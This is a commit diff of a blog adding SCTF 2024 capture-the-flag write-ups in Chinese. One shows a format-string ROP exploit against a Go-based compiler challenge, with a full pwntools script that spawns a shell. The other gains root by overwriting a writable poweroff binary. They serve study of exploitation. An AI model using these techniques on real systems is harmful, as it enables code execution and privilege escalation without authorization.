Skip to content

Commit 6bbaccf

Browse files
committed
add yangcheng2024 & sctf2024
1 parent a1da4b2 commit 6bbaccf

19 files changed

+609
-0
lines changed

source/_posts/dasx0rays2024/ChromeLogger.md

+1
Original file line numberDiff line numberDiff line change
@@ -11,6 +11,7 @@ tags:
1111
sticky: 99
1212
thumbnail: /assets/dasx0rays2024/logo.png
1313
---
14+
<!-- excerpt -->
1415

1516
当你看到这篇博客的时候,安恒官方的wp应该已经放出了,你也大概是因为看到了wp中夹带的网址而来,
1617
并且是有一定基础的pwner,来都来了,可以在评论区中尽情吐槽。说实话,

source/_posts/dasx0rays2024/WhereIsMySauce.md

+1
Original file line numberDiff line numberDiff line change
@@ -6,6 +6,7 @@ tags:
66
- tricks
77
sticky: 90
88
---
9+
<!-- excerpt -->
910

1011
## 前言
1112

source/_posts/sctf2024/GoCompiler.md

+187
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,187 @@
1+
---
2+
title: sctf2024 - GoCompiler
3+
date: 2024/10/22 13:49:00
4+
updated: 2024/10/27 10:31:00
5+
tags:
6+
- go
7+
- fmt-string
8+
- rop
9+
thumbnail: /assets/sctf2024/bss.png
10+
excerpt: 利用Go语言编译器中的`printf`漏洞,通过`%hhn`逐字节修改内存,实现ROP链,最终执行`/bin/sh`以获得shell。
11+
---
12+
13+
## 文件属性
14+
15+
|属性 ||
16+
|------|------|
17+
|Arch |amd64 |
18+
|RELRO |No |
19+
|Canary|off |
20+
|NX |on |
21+
|PIE |off |
22+
|strip |no |
23+
|go |1.20.3|
24+
25+
## 解题思路
26+
27+
用go写的go语言编译器,可以将go转换为汇编并用gcc编译,看调试信息写到了
28+
**github.com/klang/ugo** ,但实际上无法访问,不过看项目有点类似于已经公开的“凹语言”,
29+
可是实际测试对go的支持十分有限。
30+
31+
go的逆向太困难了,一些函数调用根本看不出来做了什么操作,通过看函数名和rr测试,
32+
发现了`ugo`允许调用C语言的函数,但仅限于`write``printf`,并且`printf`的格式化参数有限制,
33+
必须包含且仅包含一个`%`符号。
34+
35+
{% notel green fa-screwdriver-wrench 时间无关调试工具:rr %}
36+
rr是Mozilla开发的一个调试工具,可以实现 **timeless debug** ,也就是说,
37+
它通过提前录制程序行为,稍后就可以回放程序,实现“逆向调试”。不过你也注意到了,
38+
你并不是在真正调试程序,你只是在回溯程序的行为。但是借助这个特性,我们可以面对go这种难调的家伙,
39+
通过定位确定的错误点,一步一步逆向推导,就可以猜测出程序的行为,相较静态检查多了灵活性。
40+
这次的很多发现,包括`printf`的行为,都是我通过rr看出来的。
41+
{% endnotel %}
42+
43+
由于有了`printf`原语,我们可以通过`%hhn`来一个字节一个字节改内存。并且由于结果程序是无PIE的,
44+
我们可以直接修改bss区的内容。
45+
46+
{% note purple fa-circle-arrow-right %}
47+
不使用`%hn`等是因为由于只能用1个%,用`%hn`写数据需要堆砌大量的无效字符,
48+
最终会导致程序过大,因此`%hhn`是权衡过后的更佳选择。
49+
{% endnote %}
50+
51+
接下来我们就可以利用如下原语,将payload注入到`INSERT`处,
52+
反复调用`printf('1' * n, addr)`的方式来任意写
53+
54+
```go malicious.ugo
55+
package main
56+
57+
func main() int {
58+
var i int = 0
59+
INSERT
60+
return 0
61+
}
62+
```
63+
64+
任意写有了,写什么好呢?原本我的想法是打apple,但奈何apple实在是太长了,
65+
并且程序中也没有`system`,于是我找了找其他的函数指针,结果发现了在`exit`中调用了一处指针,
66+
原先这个地方是`_IO_cleanup`,但是这个地方是可写的,且没有受`PTR_MANGLE`加密,
67+
可以直接劫持。看了一下调用时的寄存器状态,此时正`call rbx`,因此rbx刚好是这个指针的地址,
68+
是我们可以控制的,然后就是找gadget了。
69+
70+
经过令人近乎绝望的查找,我最终锁定了一个gadget:`mov esp, ebx; mov rbx, qword ptr [rsp]; add rsp, 0x30; ret`
71+
由于没有PIE,因此可以做栈迁移到`ebx + 0x30`上!我只要将数据写到`ebx + 0x30`的地址上,
72+
就可以实现rop,只要构造`syscall(SYS_execve, "/bin/sh", NULL, NULL)`就可以拿到shell。
73+
74+
{% note purple fa-circle-arrow-right %}
75+
`ebx + 0x30`的地方并不是可以任意写的,在调`_IO_cleanup`之前,会先运行`__exit_funcs`中的hook,
76+
调用`call_fini -> __preinit_array_start -> __do_global_dtor_aux -> __deregister_frame_info_bases`
77+
在最后一个函数中会判断`object+24`是不是`&__EH_FRAME_BEGIN__`,如果不是则会继续迭代,
78+
导致发生SIGSEGV,而`object`刚好在`ebx + 0x30`不远处,还需要绕过这个地方。
79+
80+
![bssStatus](/assets/sctf2024/bss.png)
81+
{% endnote %}
82+
83+
剩下的就是先把payload伪造好,交给容器里的gcc编译,这样由于payload长度固定,生成出来的gadget位置基本也不会变,
84+
执行就可以获取shell了
85+
86+
{% note default fa-ban %}
87+
原先的方案是声明字符串的,由于llvm的特性,声明的字符串会在程序中保留一份,因此"/bin/sh"可以借此获取,
88+
不过大概是由于程序中有太多字符串了,因此每次调整payload,即使长度没有变化,字符串的地址也会变化。
89+
最后选择了把"/bin/sh"直接写到了bss上固定位置。
90+
{% endnote %}
91+
92+
## EXPLOIT
93+
94+
```python
95+
from pwn import *
96+
import os
97+
context.terminal = ['tmux','splitw','-h']
98+
EXE = './hello'
99+
100+
def mkstr(val: int) -> str:
101+
return '1' * val
102+
103+
def w1byte(addr: int, val: int) -> str:
104+
return f' i = {addr:#x}\n printf("{mkstr(val)}%hhn", i)\n'
105+
106+
def wnbytes(n: int, addr: int, val: int) -> str:
107+
base = ''
108+
for i in range(n):
109+
base += w1byte(addr + i, (val >> (i * 8)) & 0xff)
110+
return base
111+
112+
def create_ugo():
113+
with open('hello.ugo', 'r') as goin:
114+
base = goin.read()
115+
ugo = ''
116+
ugo += wnbytes(4, 0x4c8288, 0x484a8e) # mov esp, ebx
117+
ugo += wnbytes(7, 0x4c8298, u64(b'/bin/sh\0')) # /bin/sh
118+
ugo += wnbytes(4, 0x4c82b8, 0x4020df) # pop rdi
119+
ugo += wnbytes(8, 0x4c82c0, 0x4c8298) # "/bin/sh"
120+
ugo += wnbytes(4, 0x4c82c8, 0x485acb) # pop rdx => 0; pop rbx <- check;
121+
ugo += wnbytes(4, 0x4c82e0, 0x44fd47) # pop rax
122+
ugo += wnbytes(1, 0x4c82e8, 59) # 59
123+
ugo += wnbytes(4, 0x4c82f0, 0x401e94) # syscall
124+
with open('malicious.ugo', 'w') as goout:
125+
goout.write(base.replace('INSERT', ugo))
126+
127+
def payload(lo:int):
128+
global sh
129+
if lo:
130+
sh = process(EXE)
131+
else:
132+
sh = remote('1.95.58.58', 2102)
133+
134+
creating = True
135+
if os.path.exists('malicious.ugo'):
136+
ch = input('malicious.ugo exists. Regenerate? [y/n]')
137+
if ch == 'n' or ch == '':
138+
creating = False
139+
if creating:
140+
info('Generate malicious.ugo.')
141+
create_ugo()
142+
143+
if not lo:
144+
with open('malicious.ugo', 'r') as mal:
145+
src = mal.read()
146+
sh.sendline(src.encode() + b'end')
147+
148+
sh.clean()
149+
sh.interactive()
150+
sh.close()
151+
```
152+
153+
{% note default fa-flag %}
154+
![flag](/assets/sctf2024/goFlag.png)
155+
{% endnote %}
156+
157+
## 尾声
158+
159+
比赛结束后,看别人的wp,都没有用到`printf`,都是通过`write`溢出打印指针,然后走栈溢出rop
160+
(给了栈溢出示例,但是我没有编译运行)
161+
162+
除此之外,本次exp用到的改的`&_IO_cleanup`,即`__elf_set___libc_atexit_element__IO_cleanup__`
163+
是可写的,却从未看到有人这么利用过,拿做过的题看了一下,从libc 2.23到2.35,虽然有这个符号,
164+
但它位于只读段,没有利用价值...甚至在2.38之后这个符号直接被删掉了,
165+
`exit`固定会调用`_IO_cleanup`。只能说运气好,静态编译把这个符号变成可写的了。
166+
167+
还有一个比较神奇的特性是当程序静态链接后,tls会使用`malloc`分配出来,因为没有libc可挂
168+
169+
<img src="/assets/sctf2024/tls.png" height="90%" width="90%">
170+
171+
之后有一天我上网看看别人博客有没有更新,结果看到了[原作者的博客](https://ywhkkx.github.io/2024/04/12/ugo-lab1-%E6%9C%80%E5%B0%8FuGo%E7%A8%8B%E5%BA%8F/)
172+
173+
{% note blue fa-info %}
174+
Ghidra的go插件能够恢复部分编译时的信息,包括源代码位置,因此可以清楚看到作者是
175+
**yhellow**,还可以看到他的仓库里有Syclover的内容,肯定没错了。
176+
177+
<img src="/assets/sctf2024/author.png" height="10%" width="10%">
178+
<img src="/assets/sctf2024/decompile.png" height="50%" width="50%">
179+
<img src="/assets/sctf2024/proof.png" height="60%" width="60%">
180+
{% endnote %}
181+
182+
看来pwn也可做信息收集啊。~~不过里面写的demo和题目的匹配度不是特别高~~
183+
184+
## 参考
185+
186+
1. [rr: Record and Replay Framework](https://github.com/rr-debugger/rr)
187+
2. [ugo-lab1-最小uGo程序](https://ywhkkx.github.io/2024/04/12/ugo-lab1-%E6%9C%80%E5%B0%8FuGo%E7%A8%8B%E5%BA%8F/)

source/_posts/sctf2024/kno_puts.md

+45
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,45 @@
1+
---
2+
title: sctf2024 - kno_puts
3+
date: 2024/10/22 00:42:00
4+
updated: 2024/10/27 11:21:00
5+
tags:
6+
- shell jail
7+
excerpt: 通过替换可写的`poweroff`命令为`cat /flag`,在以1000身份运行的shell结束后成功用root的身份获取flag。
8+
---
9+
10+
文件系统权限没设置好,非预期了。root启动`init`脚本,随后以1000身份将shell暴露给用户,
11+
在shell运行结束后执行`poweroff`。结果`poweroff`是可写的,将其替换为`cat /flag``exit`就可以拿flag
12+
13+
```bash /init
14+
...
15+
chmod 400 flag
16+
insmod /test.ko
17+
mknod -m 666 /dev/ksctf c `grep ksctf /proc/devices | awk '{print $1;}'` 0
18+
setsid /bin/cttyhack setuidgid 1000 /bin/sh
19+
poweroff -d 600 -f
20+
```
21+
22+
```bash
23+
$ which poweroff
24+
/sbin/poweroff
25+
$ ls -ld sbin
26+
drwxr-xr-x 2 1000 1000 1480 Sep 26 04:41 sbin
27+
$ ls -l sbin/poweroff
28+
lrwxrwxrwx 1 1000 1000 14 Sep 26 18:02 sbin/poweroff -> ../bin/busybox
29+
$ rm sbin/poweroff
30+
$ echo 'cat /flag' > /sbin/poweroff
31+
$ chmod +x /sbin/poweroff
32+
$ exit
33+
```
34+
35+
{% note default fa-flag %}
36+
![flag](/assets/sctf2024/kerFlag.png)
37+
{% endnote %}
38+
39+
> 预期解好像考到缺页错误引发的暂停,有点超出我的知识范畴了
40+
41+
看到了qanux师傅的一题5解,吓了一跳,太强了Orz
42+
43+
## 参考
44+
45+
[一题多解 SCTF 2024 kno_puts revenge](https://qanux.github.io/2024/10/07/kno_puts/)

0 commit comments

Comments
 (0)